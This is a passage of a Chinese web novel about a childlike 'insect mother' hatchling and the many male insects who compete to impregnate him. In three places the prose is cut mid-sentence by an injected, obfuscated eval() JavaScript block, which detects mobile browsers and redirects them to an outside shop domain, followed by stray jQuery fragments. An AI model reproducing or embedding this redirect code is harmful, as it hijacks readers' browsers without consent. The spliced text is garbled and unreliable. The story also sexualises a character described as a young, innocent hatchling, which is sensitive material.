p>所有雄虫都静静地看着这一幕,看着他们的虫母陛下用自己的力量治愈着两个最疯狂的战士。 没有虫说话。 没有虫动。 只有信息素在空气中轻轻流淌,像无声的祈祷。 不知过了多久,阿默尔的手终于垂了下来。 他太累了。 欧迦和以希纳的伤已经愈合了大半,但他的精神力也几乎耗尽。 他的眼睛闭上,头软软地靠在欧迦肩上,触须无力地垂着。 “妈咪!”欧迦的声音沙哑,带着惊慌。 以希纳的尾钩猛地收紧,又立刻松开,生怕弄疼他。 “妈咪只是……太累了。”以希纳的声音也在颤抖,“医疗官!快叫医疗官!” 整个训练场瞬间乱了起来。 但在混乱之中,这个画面被所有雄虫深深烙印在心里。 他们虫族珍贵的小幼崽,为了两个素不相识的雄虫,冲进危险的战场,用自己稚嫩的力量治愈了他们。 寻常的虫族有这样的能力吗? ……这不是普通的幼崽。 是虫母幼崽。 小小的妈咪不会说话,但他用行动说出了在乎。 艾凛站在虫群之外,看着被欧迦和以希纳小心翼翼护在怀里的阿默尔,钴蓝色的眼眸里翻涌着复杂的情绪。 他想起阿默尔刚来时那怯生生的模样,想起他躲在自己身后的样子,想起他连亲一下都会害羞的模样。 而现在,那个小小的虫母陛下,已经会为了自己的子民冲进战场了。 威隆副官站在他身边,喃喃道:“上将……陛下刚才……是不是暴露身份了?” 艾凛没有回答。 他只是望着那个被两只雄虫紧紧护着的小小身影,轻声说:“传令下去,从今天起,对抗赛冠军的奖励改为……陛下亲手佩戴的勋章。” “这样,他们就不用再拼命了。” 威隆愣了一下,随即用力点头:“是!” * 三天后,阿默尔从昏睡中醒来。 他的床边围着一圈身影——艾凛、诺顿、欧迦、维萨、以希纳,还有缩在门口偷偷往里看的威隆。 所有虫的眼睛都红红的。 阿默尔眨了眨眼,比划了一个手势:你们怎么了? 诺顿第一个开口,声音沙哑:“妈咪,您以后不能再那样了。” 阿默尔歪了歪头。 欧迦接上:“对!您这样我们会心疼死的!” 以希纳没有说话,只是轻轻握住阿默尔的手,放在自己额头上。 那是蛛族最虔诚的臣服礼。 维萨叹了口气,翡翠眼眸里漾着水光:“妈咪,您知道吗?现在全虫族都知道了您的存在,您不要再为了雄虫这样做了。” 阿默尔看着他们一个个红着眼眶的样子,忽然笑了,那笑容很轻、很软,像荒星上第一次照进洞穴的阳光。 他抬起手,在空中比划:那你们不许再打架了。 欧迦和以希纳对视一眼,同时别过脸去。 阳光透过窗户洒进来,落在阿默尔银白色的长发上,落在五个雄虫通红的眼眶上,落在门口威隆偷偷抹眼泪的袖口上。 那是虫族失去虫母以来,最温暖的一天。 20. 第 20 章 在阿默尔冲进训练场的那一刻,“虫母以幼崽的形式出现了”这个消息同时送进了每一个高等虫族的感知里。 阿默尔醒来后的第五天,基地外围出现了第一波访客。 那是来自帝国边缘星域的几支中小领主势力,打着“朝见虫母幼崽”的名义,带着重礼和精锐卫队,在基地的防护罩外扎营。 他们没有进攻,只是安静地等着。 第二波,是联邦的使团。 第三波,是早已隐居多年,连内阁都请不动的几位高等虫族。 第四波…… 以希纳留守在这里没有走,他站在指挥室里,银眸盯着监控光屏上密密麻麻的红点,声音冰冷得能结冰:“四十七支势力,超过三千只高阶虫族了。艾凛,你的基地能撑多久?” 艾凛的脸同样沉凝:“防护罩全开,物资储备足够支撑三个月。但他们不需要进攻,只是在等。” “等什么?” “等虫母成熟。” 等虫母第一次信息素潮汐的爆发,那将是整个星系都能感知到的信号,是所有雄虫本能的召唤。 到那时,这三千只高阶虫族,会变成三千只失去理智的野兽。 “还有多久?”诺顿的声音从通讯器里传来,他已经连续守了阿默尔三天三夜,“我快坚持不住了,妈咪的味道越来越甜,连汗水都是甜的。” 艾凛看着手中的监测数据,喉结滚动:“……四十八小时,最多。” 四十八小时后,虫母将迎来第一次完整的成熟期,届时,他的身体会彻底准备好—— 准备好接纳雄虫,准备好孕育虫卵,准备好成为真正能够延续整个种族的虫母。 而他们,只有四十八小时,来决定由谁……成为第一个帮助小猫咪的雄虫。 房间里,阿默尔对这些一无所知。 他正趴在窗边,看着远处那些陌生的光点。 那是基地外扎营的势力,各种各样的信息素透过防护罩丝丝缕缕地渗进来,让他的触须时不时轻轻颤动。 “妈咪。”诺顿跪在他身后,声音轻柔地叹息,“别看太久,您会累。” 阿默尔回头看他,比划:他们为什么来? 诺顿沉默了一瞬。 他该怎么回答?说他们来抢你?说来争夺成为你第一个雄虫的资格?来说你的身体即将成熟,而每一个雄虫都在疯狂地渴望你? “……他们想见您。”他最终只说了这一句。 阿默尔歪了歪头,似乎在思考什么,然后他忽然站起身,走向门口。 诺顿猛地站起来:“妈咪?您去哪儿?” 阿默尔回头,对他笑了笑,比划:去看他们。 “不行,妈咪!”诺顿险些失态,他第一次这样大声对阿默尔说话,说完自己都愣住了。 阿默尔也愣住了。 他看着诺顿那张骤然失去血色的脸,看着他颤抖的翅翼和紧握的拳头,走回诺顿身边,伸出手,轻轻抱住他: 你怎么啦,诺顿? 诺顿的身体僵住了。 阿默尔的下巴抵在他胸口,仰起头,用那双灰蓝色的眼睛望着他,然后比划了一个手势: 你们在怕什么? 诺顿张了张嘴,却说不出话。 阿默尔继续比划:你告诉我,我现在就要知道。 诺顿闭上眼:过了很久,他才开口,声音沙哑得像是砂纸磨过喉咙:“妈咪……您快要成熟了。” 阿默尔眨了眨眼。 “成熟之后……”诺顿的喉结剧烈滚动,“您的身体会准备好……孕育虫卵。到时候,所有的雄虫都会……都会想要……” 他说不下去了。 阿默尔却听懂了。 他低下头,看了看自己的手,又摸了摸胸口那处一直在渗蜜的腺体,最后摸了摸身后那根已经长大不少不再只是“芽苞”的纤长尾巴。 导师说,等怀孕的时候,孕囊里的虫卵会把尾巴撑大,肚子撑大,他会穿上特制的衣服,把怀孕的肚子和尾巴都露出来,以此表示虫母孕育的神圣意味。 他忽然明白了自己这段时间身体的变化意味着什么。 他抬起头,对上诺顿那双盛满痛苦和渴望的金色眼眸,轻轻笑了。 那笑容和平时一样,软软的,温柔的,像月光落进深潭。 他比划:所以你们在争我吗? 诺顿的呼吸一滞。 阿默尔继续比划:那,你们谁先让我怀上虫卵? 那个词——“怀上”——让诺顿的心脏几乎停跳。 原来小妈咪根本就不觉得这有什么可怕。 他看着阿默尔那双清澈得不带一丝杂质的眼睛,忽然觉得自己的所有渴望、所有挣扎、所有痛苦,在他面前都显得那么……可笑。 他什么都不懂。 他只是用那双干净的眼睛看着你,问出最本质的问题。 “……对。”诺顿的声音几乎是从牙缝里挤出来的,“我们在争,外面那三千只虫也在争,整个虫族,都在争。” 阿默尔歪了歪头,似乎在思考什么。 然后他伸出手,轻轻拍了拍诺顿的脸。 比划:那你呢?你想争吗? 诺顿的身体猛地一颤。 他看着阿默尔,看着那双没有任何评判,只是单纯好奇的眼睛,觉得眼眶发酸。 “想。”他的声音沙哑得几乎听不清,“我想。想得发疯。每一个晚上,每一次靠近您,我都在拼命忍着。” 阿默尔静静地看着他。 “但我不配。”诺顿垂下眼,睫毛轻轻颤抖,“您是王,是整个虫族的希望。我没有资格独占您,没有资格成为第一个……我只配跪在您脚边,做您的骑士,服侍您一辈子。” 阿默尔看着他。 看了很久。 然后他弯下腰,在诺顿颤抖的嘴唇上,落下轻轻一吻。 诺顿猛地抬起头。 阿默尔对他笑了笑,然后比划: 你配不配,我说了算。 诺顿的眼眶瞬间红了。 阿默尔又比划:叫他们来。 “……谁?” 阿默尔指了指门外:艾凛,欧迦,维萨,以希纳,还有外面那些……等着的虫。 诺顿愣住了:“妈咪,您想……” 阿默尔点点头。 灰蓝色的眼眸里,第一次出现了某种不属于懵懂的东西——那是属于虫母的、与生俱来的、温柔的慈悲。 他比划:我不想你们争。 也不想他们等。所以,至少要有个顺序。 指挥室里,艾凛正盯着监控光屏上的红点,忽然听到通讯器里传来诺顿的声音,沙哑而颤抖: “妈咪叫你们来。” 艾凛的动作顿住了。 “……他说什么?”以希纳的声音失真。 诺顿沉默了一瞬,然后道:“妈咪说,不想我们争,叫我们都过去,还有……外面那些该死的虫族。” 房间里死一般的寂静。 对妈咪来说,那些虫族也是他的子民,而对自己来说,雄虫都是竞争对手,都是妄图霸占虫母的同类。 ……艾凛痛苦地意识到。 五分钟后,阿默尔的房间里,跪满了雄虫。 艾凛、诺顿、欧迦、维萨、以希纳,五个最早守护他的骑士,跪在最前面。 他们身后,是那三千只从四面八方赶来的高阶虫族——他们挤满了走廊,挤满了庭院,挤满了基地每一寸能站虫的空间。 所有虫都跪着,收敛着气息,将额头贴在虫母房间外的地面上。 只有阿默尔站着。 他站在窗边,银白色的长发披散,身后那条已经彻底成熟的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17219214|197499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虫尾轻轻摆动,散发着珍珠母贝般温润的光泽。 胸口的蜜液还在无声地渗着,浸湿了薄薄的衣料,甜香弥漫在整个空间里。 他看着眼前密密麻麻跪着的雄虫,看着那一双双或赤红、或金黄、或银灰、或碧绿的眼眸,看着他们眼中的渴望与克制、疯狂与虔诚。 然后他抬起手,在空中比划了一个手势。 艾凛的声音低沉地响起,替他翻译: “妈咪说——” 整个空间安静得能听见心跳。 艾凛顿了顿,钴蓝色的眼眸里翻涌着复杂的情绪:“他说,你们都想让我怀上虫卵。” 跪着的雄虫们齐齐屏住了呼吸。 阿默尔继续比划。艾凛继续翻译: “他说,他不懂虫族的规矩。但他知道,你们都是他的子民,他不想看见你们厮杀,不想看见你们痛苦。” 阿默尔的手停了一瞬,然后落下最后一个手势。 艾凛的声音沙哑了:“他说……他可以给。但不是只给某一只,而是给……所有雄虫中,其中的一个。” 所有。 这个词落下的瞬间,三千只雄虫同时抬起头,难以置信地望着窗边那抹纤细的身影。 阿默尔的脸颊红红的,触须微微颤抖,显然自己也被自己说的话羞到了。 但他没有躲开那些目光,只是抿着唇,静静地站在那里,任由那些灼热的视线落在自己身上。 艾凛站在那里,深深吸了一口气:“……妈咪。”他的声音沙哑,“您知道您在说什么吗?” 阿默尔看着他,轻轻点了点头,然后他走下来,一步一步,穿过跪着的雄虫。 每走一步,就有一只雄虫浑身颤抖,眼眶泛红。 每亲一下,就有一只雄虫心脏停跳,呼吸凝滞。 他走到艾凛面前,抬起手,轻轻放在艾凛的心口。 那里,心跳快得像要炸开。 阿默尔对他笑了笑,然后转身,走向诺顿,弯下腰,在诺顿流泪的脸上轻轻亲了一下。 然后他站在月光里,看着那三千只跪着的雄虫,抬起手,比划了最后一个手势: 我不属于任何一个,我属于所有。 但只有你们不再厮杀、不再争夺、愿意一起守护我,我才愿意给。 那一刻,月光落在他的身上,映出他平坦到还没有任何痕迹的小腹。 那里,或许很快就会孕育出虫族未来的希望。 或许很快就会有一个小小的虫卵,在他温暖的身体里,静静地生长。 三千只雄虫同时低下头,将额头贴在地面上。 那是臣服。 那是誓言。 那是心甘情愿,将厮杀和争夺,化为共同的守护。 以希纳跪在最前面,银色的眼眸望着月光里那抹纤细的身影,尾钩轻轻蜷缩。 他想起三天前,那个软软地亲了自己一口,然后用指尖在掌心写下自己名字的小虫母。 他还那么小,那么懵懂,什么都不懂。 而现在—— 他站在月光里,面对着三千只渴望他的雄虫,说出了足以让整个虫族疯狂的话。 以希纳闭上眼,将额头抵得更低。 他知道,从这一刻起,自己不再是内阁议长,不再是高等蛛种,不再是任何身份。 他只是虫母的雄奴。 他愿意用一切,守护那个站在月光里的,勇敢的母亲。 荒星的夜空中,第一次同时出现了两颗月亮。 月光静静地洒落,落在虫母银白色的长发上,落在他微微泛红的脸颊上,落在他那截被蜜液浸湿的衣襟上,落在他身后那条微微摆动的美丽虫尾上。 三千只雄虫跪在月光里,他们的王,站在月光之上。 所有雄虫都知道——从这一刻起,真正的争夺,才刚刚开始。 21. 第 21 章 消息是在基地竣工后的第二天傍晚传来的。 以希纳的通讯器亮起时,他正跪在阿默尔床边,替他的小虫母梳理那头已经长到腰际的银白色长发。 通讯器闪烁了三下,是内阁最高优先级的信号。 以希纳的动作顿了顿。 阿默尔察觉到他的异样,回过头,用眼神询问。 以希纳沉默了一瞬,低声道:“陛下,是内阁的消息。” 阿默尔眨了眨眼,然后伸出手,按了按他的手腕——那是“去吧”的意思。 以希纳起身,走到窗边,接通了通讯。 十分钟后,他挂断通讯,走回阿默尔身边,单膝跪下。 “陛下,内阁已经正式确认了您的身份,按照传统,您需要返回王都,入住城堡。” 阿默尔歪了歪头,比划:城堡? “是历代虫母居住的地方,已经空置了很多年。但内阁说,已经完成了初步的修缮和准备。” 阿默尔想了想,又比划:什么时候走? “明天。” 阿默尔点点头,然后伸出手,轻轻拍了拍以希纳紧绷的肩膀。 那意思是:我知道了,你别紧张。 以希纳看着他那双平静的眸,喉结滚动了一下。 他不紧张,他只是担心。 王都不是荒星基地,那里有内阁,有议会,有无数双眼睛和无数条规矩,他的小虫母习惯了自由自在,习惯了想亲谁就亲谁、想抱谁就抱谁,习惯了被围着宠。 到了王都,这一切会不会变都还是个未知数。 他怕阿默尔不适应。 阿默尔看出了他眼底的情绪,笑着撑起身,凑过去,在以希纳紧抿的嘴角上亲了一下。 然后比划:有你们在,不怕。 以希纳闭上眼,忍着回吻的冲动。 * 第二天,一艘通体银白色的飞船停落, 艾凛站在阿默尔身侧,蓝眸微微眯起,“那是王的专属舰,只服务虫母。” 阿默尔好奇地望着那艘船,他没见过这么漂亮的飞行器,在荒星上,所有的船都是灰扑扑的,带着战斗痕迹的铁疙瘩。 舱门滑开,一道身影从舱内走出。 雄虫的发色是一种极浅的青色,像叶子落在雪地上,柔软地垂落肩头。 他眉眼生得很好,不是那种锋利的俊美,而是一种让人看了就觉得安宁的温柔,他的眼睛也是琥珀色的,在阳光下泛着温润的光,像是盛着一汪融化的蜜。 他穿着一身银灰色的长袍,身后收着一对翅翼,边缘泛着淡淡的珠光,随着他的走动轻轻颤动。 他从船舱里走出来,沿着舷梯一步一步向下,然后,他在阿默尔面前三步之遥处停下。 “虫母陛下,我是您的贴身管家,瑟维格。从今日起,我负责您的起居、安全,以一切您需要的照顾,包括信息素监测、发育期记录,以及受孕准备。” 阿默尔对上那双温和的眼睛,在空中比划了一个手势。 瑟维格看着他的手,微微偏了偏头,似乎是在努力理解。 然后他轻轻笑了,“陛下,很抱歉,我还看不懂您的手语。但我很快就会学的,在这之前,您可以慢慢比划,我会努力猜,如果猜错了,您就捏我的耳朵,我重新猜。” 阿默尔愣住了。 捏耳朵? 瑟维格看着他怔怔的模样,笑容更深了一点点:“开玩笑的,您不用捏耳朵,您只要摇头就行。” 阿默尔眨了眨眼,弯起眼睛笑了。 他喜欢这个管家。 艾凛在一旁轻咳了一声:“瑟维格管家,陛下的起居一直由我们负责。你来之后——” “各位当然可以继续陪伴陛下。”瑟维格站起身,转向艾凛,语气温和而恭敬,“上将,我的职责是辅助,不是取代。陛下需要什么,我会准备,陛下想去哪里,我会安排,陛下想见谁,我会协调。仅此而已。” 瑟维格侧身做了个“请”的手势:“陛下,请登舰吧。前往王都的航程需要十二个标准时,我为您准备了休息舱。” 阿默尔点点头,艾凛带着他迈步向船舱走去。 瑟维格走在他身侧,步伐与他完全同步,不远不近,刚刚好:“陛下,请随我来,您的休息舱在这边。” 阿默尔跟着他穿过一条走廊,进了一间舱室,正中央是一张铺着柔软织物的床,床边摆着一张小几,几上放着一碟切好的蜜果和一杯温水。 阿默尔眨了眨眼。 他怎么知道自己渴了? 瑟维格在一旁轻声道:“陛下在基地登舰前,刚刚吃过早餐,飞行十二小时,中间会饿一次,蜜果是今早刚从王都运来的,很新鲜,水是温的,不伤胃。” 阿默尔看着他,忽然觉得,这个管家好像什么都知道。 瑟维格对上他的目光,微微笑了:“陛下,在回王都之前,有一件事,我需要和您说清楚。” 阿默尔转过头看他,嘴里还含着蜜果。 瑟维格斟酌了一下词句,然后慢慢道:“您回到王都后的第一个月,需要完成第一次受孕。” 阿默尔的动作顿住了,蜜果的汁水还在唇边,他却忘了舔。 瑟维格说:“虫母发育成熟后的第一个月,必须完成第一次受孕,否则会对您的身体造成伤害。” 阿默尔的触须轻轻颤了颤。 瑟维格继续道:“因为您身体里积蓄的信息素和能量,需要通过受孕来平衡,如果错过了最佳时机,那些能量会反过来冲击您的精神海,轻则昏迷,重则死亡。” 阿默尔下意识地伸手,轻轻覆在自己小腹上。 那里还很平坦,很柔软,什么都没有。 一个月。 第一个月。 瑟维格看着他这副模样,犹豫了一瞬,然后伸出手,轻轻覆在他攥紧的手上。 “陛下,”他的声音温柔得像哄幼崽,“您不用害怕。受孕是每个虫母都要经历的事,很自然,很美好。而且——” 他顿了顿,琥珀色的眼眸里漾着温温的光,“雄虫们会帮您的。” 阿默尔抬起头,望着他。 瑟维格的心忽然软了一下。 “陛下,我可以给您一个建议吗?” 阿默尔点头。 瑟维格缓缓道:“您不用选,虫母的第一次受孕,不需要选某一个雄虫,只要是雄虫、有生育能力就可以了。您需要选的,是您想怀多少颗卵,这才是最重要的。” 阿默尔的眼睛瞪得更大了。 多少……颗? 瑟维格看着他这副模样,忍俊不禁:“看来拉法尔导师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“陛下,”他的声音有一丝淡淡的沙哑,“您这样,我会忍不住对您有坏心思的。” 阿默尔歪了歪头,似乎在问:什么坏心思? 瑟维格没有解释,只是站起身,整理了一下衣袍:“陛下休息吧。还有十个小时才到王都,到了我叫您。 舱门轻轻滑开,他的背影消失在门外。 阿默尔一个人坐在检测床上,脸还红着,心跳还快着,脑子里乱成一团浆糊。 一个月。 第一颗卵。 不对——第一批卵。 要选一个雄虫……受孕吗? 怎么受孕啊? 阿默尔的脸腾地红了,他闭上眼睛,把自己摔进柔软的床铺里。 门外,瑟维格靠在墙上,闭着眼,不知道在想什么。 过了很久,他轻轻叹了口气。 * 十个小时后,飞船降落在王都。 舱门打开时,阿默尔看见了一片他从没见过的景象。 一座闪闪发光的城市,从地面一直延伸到天空,无数的建筑像巨大的树木一样生长着,层层叠叠,无穷无尽。 舱门外,是无数跪伏在地的身影。 那是王都的虫族。 那是他的子民。 阿默尔站在舱门口,望着这一切,忽然有些恍惚。 瑟维格的声音在他身后响起,“陛下,欢迎回到王都。您的王宫就在那里。” 阿默尔顺着他的目光望去。 在城市的最高处,有一座通体银白的城堡,静静地矗立在阳光下,那是他的新家了。 22. 第 22 章 建筑之间,有虫族在上面行走、飞行,翅膀在阳光下折射出斑斓的色彩。 阿默尔仰着头,嘴巴微微张开,忘了合上。 瑟维格站在他身后半步远的地方,看着他那副没见过世面的小模样,眼里的温柔几乎要溢出来。 “陛下,”他轻声道,“那是您的王宫。” 阿默尔回头看他,眼睛亮晶晶的,比划了一个手势:我的? 瑟维格点点头:“您的。” 阿默尔想,一个月前,他还在荒星的洞穴里,和铁甲它们挤在一起取暖,现在,他有一座城堡了。 舱门外,无数身影跪伏在地。 阿默尔的目光落下去,看见了密密麻麻的虫族——有的高大魁梧,有的修长优雅,有的翅翼斑斓,有的尾钩锋利。 他们全都低着头,将额头贴在地面上,一动不动。 阿默尔忽然有些紧张,他下意识地往后看了一眼。 舱门里,五个熟悉的身影正站在那里——艾凛、诺顿、欧迦、维萨、以希纳。 他们没有跟出来,只是站在阴影里,静静地望着他。 那是瑟维格安排的。 “陛下第一次出现在子民面前,需要独自完成。” 他在飞船上这样解释,“高等种只能在您后面看着,但不能陪在身边。这是规矩,不能有任何一个雄虫恃宠而骄,他们必须知道,除了虫母之外,任何虫族都是微不足道的灰尘,就算他们得到了再多宠爱,都只是您的附属品。” 阿默尔当时点了点头,没觉得有什么。 但现在,面对着那密密麻麻看不见表情的子民,他有点想往回跑。 瑟维格的声音在耳边轻轻响起,只有他能听见:“陛下,深呼吸,别紧张,您可是王啊。” 阿默尔吸了一口气。 “他们跪着,您站着,您是王。”瑟维格的声音依旧温柔,却多了一丝安定人心的力量,“您什么都不用做,只要走下去就好。” 阿默尔又吸了一口气,然后他迈出了第一步。 舷梯很长,他一步一步往下走,银白色的长发在风中轻轻飘动,身后的虫尾随着步伐微微摆动。 阳光落在他身上,落在他白皙的皮肤上,落在他微微泛红的脸颊上,落在他那双灰蓝色带着一点点紧张的眼眸里。 跪在最前面的几只虫族,在他经过时,身体微微颤抖。 那是激动。 那是期盼了一生终于等到的颤抖。 阿默尔走下舷梯,踩在了王都的土地上。 那一刻,所有的虫族同时抬起头,他们看着他,他看着他们。 阳光从天空洒落,落在他们之间。 没有人说话,但阿默尔忽然觉得,自己好像听懂了什么。 无声地从无数双眼睛里涌出来的期待与渴望,还有一点点小心翼翼怕惊扰到他的温柔。 阿默尔忽然就卸下心防,他站在原地,对着那些眼睛,轻轻地笑了笑。 跪在最前面的那只虫族,眼眶红了。 “陛下……”他的声音沙哑,颤抖着,像是用尽了全身的力气,“欢迎回家。” 阿默尔想,也许只要他站在那里,对他们的子民笑一笑,就已经足够了。 因为他是他们的王。 他们是他的子民。 身后,瑟维格不知什么时候走了下来,依旧保持着那个不远不近的距离。 “陛下,要进去看看吗?您的城堡。” 阿默尔点点头,他迈步向那座银白色的城堡走去。 身后,无数道目光追随着他的背影。 舱门口,五个雄虫静静地望着他。 欧迦闷闷地开口:“妈咪一个人走,看着好小。” 诺顿的眼眶有些红,没说话。 维萨的蝶翅轻轻颤了颤,“我比妈咪都紧张。” 以希纳和艾凛沉默了很久,然后艾凛低声道:“没关系,他是王。” ——他是王。所以他要独自走那条路,他们可以护着,但不能替他走。 瑟维格带着阿默尔穿过城堡的大门。 门内是一个巨大的厅堂,穹顶高得几乎看不见尽头,阳光从透明的穹顶洒落,在地面上投下斑驳的光影。 四周的墙壁上刻满了古老的纹路,阿默尔看不懂,但他觉得那些纹路很好看,像是在流动的光。 “那是历代虫母留下的印记。”瑟维格在他身边轻声解释,“每一位虫母入住时,都会在墙上刻下自己的纹路。等您安顿下来,也要刻,然后在一楼挂上您的画像。” 阿默尔眨了眨眼,比划:我也要刻? “当然。”瑟维格微微笑了,“这是您的城堡,您想刻什么就刻什么。” 阿默尔弯起眼睛,显然对这个安排很满意。 瑟维格带着他穿过厅堂,走过一条长长的走廊,最后在一扇巨大的门前停下。 “陛下,”他转过身,面对阿默尔,那双琥珀色的眼眸里漾着温柔的光,“这是您的寝殿,从今天起,这里就是您的家了。” 门被轻轻推开。 阿默尔走进去,愣住了。 房间里的一切都是软的,软得像是用云朵做的。 床是软的,被子是软的,地毯是软的,连墙壁都包着一层软软的、不知道什么材质的织物。 阳光从落地窗洒进来,落在窗边那张铺着软垫的躺椅上,落在那一架子摆放得整整齐齐的……小玩意上。 阿默尔走过去,看着那架子上的东西。 有会发光的石头,有毛茸茸的小球,有精致的小盒子,有一排五颜六色的蜜果干,还有—— 他伸手拿起一个东西,眼睛亮了。 那是一个小小的、用软布缝制的德亚加虫玩偶。灰褐色的身体,短短的腿,圆溜溜的眼睛,还有一对小小的翅膀。 和跟着他一起回来王都的铁甲小宝长爪,一模一样。 阿默尔捧着那个玩偶,转过头,望向瑟维格。 瑟维格站在门边,“我让工蜂们做的,他们不仅擅长带孩子,还擅长做手工活,以后您想要什么玩具都可以吩咐他们做。” 阿默尔看着他,觉得眼眶有点热。 他低头看着手里那个小小的铁甲,用力抱了抱,然后他抬起头,对瑟维格笑了笑。 瑟维格垂下眼,轻轻笑了一下:“陛下喜欢就好。” 他顿了顿,又道:“五位高等种的房间在隔壁,都有门和您的寝殿相通,您晚上想找谁,可以直接过去。除了他们,您还可以拥有更多的王夫,未来,他们的房间会像蜂巢一样与您的中央房间相连,您随时可以过去找他们。” 阿默尔眨了眨眼:“呜!” 瑟维格对上他那双无辜的眼睛,忍不住又笑了:“当然,您也可以叫他们过来,都行。” 阿默尔歪着头想了想,比划了一个手势:那你呢?你住哪儿? 瑟维格微微一怔。 “我?”他轻声道,“我就住在您门外的小房间里。您有任何需要,随时叫我。” “我会跪在您脚边,为您打理一切,看着您被别的雄虫爱着、宠着、护着。” 他说那句话时,眼里有那一点点淡淡的涩意。 阿默尔有些不忍。 他走过去,站在瑟维格面前,仰起头看他。 瑟维格比他高很多,需要低头才能对上他的目光。 “陛下?您怎么了?”他的声音带着一丝困惑。 阿默尔伸出手,轻轻抱住了他,瑟维格的身体又僵住了。 但他没有动,只是任由那只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17219216|197499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小小软软的虫母抱着自己,感受着那缕若有若无的甜香萦绕在鼻尖,闭着眼睛沉醉在里面。 过了好一会儿,阿默尔才松开手,他退后一步,仰起头,对瑟维格笑了笑。 然后比划了一个手势:你也住在离我最近的房间里吧,我想在晚上思念你的时候,随时都能找到你,好吗? 瑟维格看着他的手,看着他那双真诚而有亮晶晶的眼睛,眼眶有些发酸。 他垂下眼,深吸一口气。 当他再抬起头时,那双琥珀色的眼眸里,依旧漾着温柔的光。 “好,谢谢您,陛下。”他的声音有一丝极淡的沙哑,“这句话,我会记一辈子的。” 阿默尔满意地点点头,转身跑向那张大床,把自己摔了进去。 床太软了,他整个虫陷进去,只剩下一双脚在外面晃。 瑟维格站在门边,看着那只陷在床里快乐地晃着脚的小虫母,眼里的温柔几乎要化成水。 他轻轻带上门,退了出去。 门外,五个雄虫已经等在那里。 欧迦第一个开口,压低声音问:“妈咪怎么样?开心吗?” 瑟维格点点头:“很开心,尤其是那个小玩偶。” 诺顿松了一口气:“那就好,我还怕他不适应。” 艾凛看着瑟维格,蓝眸里带着一丝复杂的情绪:“瑟维格管家,辛苦你了。” 瑟维格轻轻摇头:“不辛苦,这是我的职责。” 他顿了顿,目光扫过那五个雄虫,轻声道:“五位阁下,有一件事,我需要和你们商量。” 五个雄虫同时看向他。 瑟维格的声音压得更低了一些:“陛下需要在第一个月内完成第一次受孕,这件事,我在飞船上已经和他说过了,但他还不知道具体要怎么做,也不知道该怎么选。” 五个雄虫同时沉默了。 过了好一会儿,诺顿才低声道:“我们不会逼他,他选谁都可以,不选也可以,他不想怀,我们也可以等。” 欧迦用力点头:“对!等一辈子都行!” 维萨轻声道:“是啊,毕竟妈咪的身体最重要。” 以希纳的尾巴动了动,“还是听妈咪的。” 艾凛沉默了很久,然后看向瑟维格:“你的建议呢?” 瑟维格轻轻叹了口气:“我的建议是让陛下自己选,不要催,不要争,不要让他觉得有压力,他愿意选谁,就让谁陪他,他愿意怀多少颗,就怀多少颗。我们只要让他安心。” 房间里,阿默尔抱着那个小小的铁甲玩偶,把自己裹在被子里。 他闭着眼睛,却睡不着。 脑子里乱糟糟的,全是瑟维格在飞船上说的那些话—— 受孕。 卵。 第一批。 选谁? 怎么选? 怎么……做? 他把脸埋进被子里,耳朵红得发烫。 一个月。 他还有一个月的时间,慢慢想。 可是—— 他翻了个身,望着天花板上那些流动的光影,忽然有些好奇。 被雄虫抱着受孕……是什么感觉呢? 会疼吗? 会舒服吗? 会…… 他的脸又红了一度,把被子拉上来,盖住整张脸。 门外,瑟维格靠墙站着,听着房间里那细微的动静,嘴角微微弯起。 他的小虫母,在思考吧? 真可爱。 还会思考,就说明还没被吓到。 他闭上眼睛,嘴角的笑意久久没有散去。 月光从走廊的窗户洒进来,落在他银灰色的发丝上,落在他终于放松的眉眼上。 这个夜晚一定会很温柔。 23. 第 23 章 阿默尔每天早上醒来,都发现窗外的城堡阳台上多了一些东西。 第一天是鲜花,第二天是晶石,第三天是一整排不知道谁送来的蜜果塔。 “那是什么?”他比划着问。 瑟维格正在替他整理衣襟,闻言抬眼看了看窗外,嘴角弯起来:“是子民的礼物。陛下,您每天收的礼,已经堆满三个仓库了。” 阿默尔眨眨眼,有些茫然,他不太习惯被人这样喜欢。 而王位仪式的日子定在阿默尔回到王都的第七天。 第七天的清晨,天还没亮,阿默尔就被瑟维格从被子里挖了出来。 “……唔。” “陛下,该起了。”瑟维格的声音温柔但坚定,“今天是您最重要的一天,快醒醒呀。” 阿默尔迷迷瞪瞪地睁开眼,看见瑟维格已经穿戴整齐,银灰色的长袍,身后那对翅翼收得服服帖帖,手里还捧着一套衣服——不是阿默尔平时穿的那种柔软便服,而是一层层叠起来的礼服,看起来就很复杂。 阿默尔瞬间清醒了。 他往后缩了缩,比划:要穿那个? 瑟维格笑了:“陛下,就穿一天。” 阿默尔摇头:我不想穿。 瑟维格走到床边坐下,把那套礼服放在一旁,伸手揉了揉阿默尔睡乱的头发。 “我知道,”他的声音轻得像哄小孩,“但这是您第一次出现在所有子民面前,他们等这一天,等了很多很多年。” 阿默尔看着他,瑟维格的眼睛里有一种很柔软的光,像是盛着月光。 “您让他们看一眼,然后您就可以回来换回舒服的衣服,我保证。” 阿默尔想了想,终于点了点头。 